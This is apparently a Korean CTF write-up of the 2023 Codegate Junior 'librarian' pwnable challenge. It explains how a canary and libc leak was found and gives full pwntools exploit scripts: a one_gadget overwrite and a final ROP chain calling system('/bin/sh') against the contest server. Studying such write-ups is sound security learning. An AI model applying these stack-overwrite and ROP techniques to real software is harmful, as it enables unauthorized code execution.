2023 코드게이트 포너블 문제이다.
파일은 문제 바이너리 하나와 libc파일 하나를 주었다.
문제를 살펴보면 case가 총 5가지로 나누어져 있는 것을 확인할 수 있었다.
case 1의 함수를 살펴보면 다음과 같다.
특정 메모리의 주소를 카리키며 write 함수의 인자로 해당 데이터들을 출력해주는거 같다.
바이너리 실행 때마다 값이 랜덤함수로 인해서 랜덤하게 바뀌어서 정확히 어디 위치인지는 모르겠다.
그치만 해당 데이터들의 주소의 주변을 살펴보니 got테이블이 있었다. 그래서 여기 부분에서 libc 베이스 주소를 구할 수 있겠다는 생각을 하였다.
다음은 case 2의 함수이다.
아까 write 함수가 인자로 전달 받을 때 참조한 메모리 주소에 데이터를 쓸 수 있는거 같다.
다음은 case 3의 함수이다.
여기 부분에서도 무엇인가가 일어날거 같지만 바이너리를 실행하면서 동적분석을 해본 결과 해당 케이스를 실행하면 Segmentation fault가 발생한다. 그래서 그냥 눈속임용 함수로 생각하였다.
다음은 case 4번의 함수이다.
해당 아까 계속해서 말한 메모리의 주소에 있는 데이터들을 초기화해주는 코드 같다.
case 5번은 프로그램을 종료하는 코드이다.
바이너리를 실행해보면서 분석을 해보도록 하겠다.
예상대로 case를 선택하는 코드가 실행된다.
case 1번을 선택하니 book list안에 있는 데이터들이 출력된다.
사실 코드게이트에서 libc 파일을 주었기 때문에 libc 베이스 주소를 구할 수 있는 부분이 있을거라 생각은 하였지만 bof가 터지는 부분도 없고 메모리의 주소를 참조하는 형태라 libc 베이스 주소를 구하는 부분에서 많이 헤맸다.
그래서 case 2번의 함수를 통해서 여러 값들 계속해서 많이 넣어본 결과 굉장히 재밌는 일이 일어났다.
대문자 A의 값을 “The book list is full”문자열이 출력되기 전까지 case 2의 함수를 이용해서 메모리에 쓰니까 아직도 왜인지는 모르겠지만 갑자기 어떠한 데이터가 출력되었다(예상하자면 데이터를 입력하는 과정하고 출력하는 과정에서 입력한 데이터가 스택의 주소와 가까이 있어서 이러한 일이 일어난 것이라 생각한다.).
해당 바이트를 언패킹하여 살펴보니까 canary 값과 libc_start_call_main의 주소였다. 해당 주소의 오프셋을 빼고 libc 베이스 주소를 구한 뒤 다시 libc 베이스 주소에 원가젯 오프셋을 더하면 원가젯의 주소를 구할 수 있었다. 다음은 libc 베이스 주소를 구하기 위해 작성한 코드이다.
from pwn import *
p = process("./librarian")
e = ELF("./librarian")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
#gdb.attach(p)
def log(n, m): return success(": ".join([n, hex(m)]))
def ow(payload):
for i in range(1, 6):
p.sendlineafter(": ", b"2")
p.sendafter(": ", payload)
one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
libc_leak = b'A'*8
ow(libc_leak)
p.sendlineafter(": ", b"1")
p.recvuntil(b"5.")
p.recvn(10)
cnr = u64(b'\x00' + p.recv(7))
log("cnr", cnr)
libc_start_main = u64(p.recvuntil("\x7f")[-6:] + b'\x00'*2)
lb = libc_start_main - 171408
onegadget = lb + one_gadget[0]
log("libc_start_main", libc_start_main)
log("lb", lb)
log("onegadget", onegadget)
코드를 실행해보면 다음과 같이 원가젯의 주소와 canary 값을 구할 수 있었다.
이제 문제는 return address주소를 원가젯 주소로 overwirte하는 것이다. 사실 문제에서 어딜봐도 bof가 터지는 부분이 없기 때문에 이 부분이 가장 힘들었다. 그래서 이번에는 디버깅을 진행하며 case 2번의 함수에 여러 입력값을 넣어보며 스택의 상황을 계속해서 관찰하였다. 정말 여러 값들을 넣어보다가 이번에도 신기한 일이 일어났다.
바로 case 2번의 함수를 3번째까지는 대문자 A를 넣다가 4번째에서 소문자 a를 넣으면 $rbp-0x10에 해당 값이 들어가는 것이었다.
다음은 case 2의 함수에서 4번째 입력 때 a 값을 입력하고 나온 스택의 결과이다.
그렇다면 이제 해당 바이너리의 공격 시나리오는 다음과 같다. 원가젯 주소를 구한뒤 case 4번으로 횟수와 메모리를 초기화 한뒤에 case 2번으로 초기화 이전에 만들어져 있는 데이터의 구조를 소문자 a를 통해서 만들고 난뒤 대문자 A를 3번 돌리고 4번째에서 return address를 원가젯의 주소로 overwrite 하면 쉘이 따질 것이다.
다음은 해당 공격 시나리오를 반영한 공격 코드이다.
from pwn import *
p = process("./librarian")
#p = remote("43.201.16.196", 8888)
e = ELF("./librarian")
#libc = ELF("./libc.so.6")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
#gdb.attach(p)
def log(n, m): return success(": ".join([n, hex(m)]))
def get_shell(payload):
p.sendlineafter(": ", b"4")
i=0
while i<10:
p.sendlineafter(": ", b"2")
p.sendafter(": ", b"a")
i += 1
j=0
while j<3:
p.sendlineafter(": ", b"2")
p.sendafter(": ", b"A"*0x10)
j += 1
p.sendlineafter(": ", b"2")
p.sendafter(": ", payload)
p.sendlineafter(": ", b"2")
p.sendafter(": ", b"A"*0x10)
def ow(payload):
for i in range(1, 6):
p.sendlineafter(": ", b"2")
p.sendafter(": ", payload)
#one_gadget = [0x4e1d0, 0x10619a, 0x1061a2, 0x1061a7]
one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8, 0x4e1d0, 0x10619a, 0x1061a2, 0x1061a7]
libc_leak = b'A'*8
ow(libc_leak)
p.sendlineafter(": ", b"1")
p.recvuntil(b"5.")
p.recvn(10)
cnr = u64(b'\x00' + p.recv(7))
log("cnr", cnr)
libc_start_main = u64(p.recvuntil("\x7f")[-6:] + b'\x00'*2)
#lb = libc_start_main - 0x23510
lb = libc_start_main - 171408
onegadget = lb + one_gadget[0]
log("libc_start_main", libc_start_main)
log("lb", lb)
log("onegadget", onegadget)
# '\x00'으로 채우는 이유는 원 가젯을 실행하기에 더 좋은 환경을 만들기 위해서 채움
payload = b'a'
payload += b'\x00'*7
payload += p64(cnr)
payload += b'\x00'*8
payload += p64(onegadget)
get_shell(payload)
p.sendlineafter(": ", b"5")
p.recvuntil("Exiting...")
p.interactive()
공격 코드를 실행하면 다음과 같이 쉘이 따진다.
그렇지만 libc파일이 달라서 서버에서는 쉘이 안 따진다. 그래서 /bin/sh의 주소를 pop rdi 가젯을 통해서 system 함수 인자로 전달한 뒤 system 함수를 실행하도록 다시 수정하였다.
다음은 해당 시나리오를 반영한 최종 공격 코드이다.
from pwn import *
import time
#p = process("./librarian")
p = remote("43.201.16.196", 8888)
e = ELF("./librarian")
libc = ELF("./libc.so.6")
#libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
#context.log_level = 'debug'
#gdb.attach(p)
def log(n, m): return success(": ".join([n, hex(m)]))
def get_shell(payload):
p.sendlineafter(": ", b"4")
i=0
while i<10:
p.sendlineafter(": ", b"2")
p.sendafter(": ", b"a")
i += 1
j=0
while j<3:
p.sendlineafter(": ", b"2")
p.sendafter(": ", b"A"*0x10)
j += 1
p.sendlineafter(": ", b"2")
p.sendafter(": ", payload)
p.sendlineafter(": ", b"2")
p.sendafter(": ", b"A"*0x10)
def ow(payload):
for i in range(1, 6):
p.sendlineafter(": ", b"2")
p.sendafter(": ", payload)
#one_gadget = [0x4e1d0, 0x10619a, 0x1061a2, 0x1061a7]
one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8, 0x4e1d0, 0x10619a, 0x1061a2, 0x1061a7]
libc_leak = b'A'*8
ow(libc_leak)
p.sendlineafter(": ", b"1")
p.recvuntil(b"5.")
p.recvn(10)
cnr = u64(b'\x00' + p.recv(7))
log("cnr", cnr)
libc_start_main = u64(p.recvuntil("\x7f")[-6:] + b'\x00'*2)
lb = libc_start_main - 0x23510
#lb = libc_start_main - 171408
onegadget = lb + one_gadget[5]
pop_rdi = lb + 0x0000000000023b65
ret = lb + 0x00000000000233d1
binsh = lb + next(libc.search(b"/bin/sh"))
system = lb + libc.symbols['system']
log("libc_start_main", libc_start_main)
log("lb", lb)
log("onegadget", onegadget)
log("ret", ret)
log("pop_rdi", pop_rdi)
log("binsh", binsh)
log("system", system)
# '\x00'으로 채우는 이유는 원 가젯을 실행하기에 더 좋은 환경을 만들기 위해서 채움
payload = b'a'
payload += b'\x00'*7
payload += p64(cnr)
payload += b'\x00'*8
#payload += p64(onegadget)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
get_shell(payload)
p.sendlineafter(": ", b"5")
p.recvuntil("Exiting...")
p.interactive()
해당 공격코드를 실행한 뒤 쉘을 획득하면 다음과 같이 flag를 얻을 수 있다.
'CTF > 2023 Codegate Junior Division' 카테고리의 다른 글
cryptGenius - Crypto (0) | 2023.06.26 |
---|---|
I like Script - Misc (0) | 2023.06.26 |
vspace - Reversing (0) | 2023.06.26 |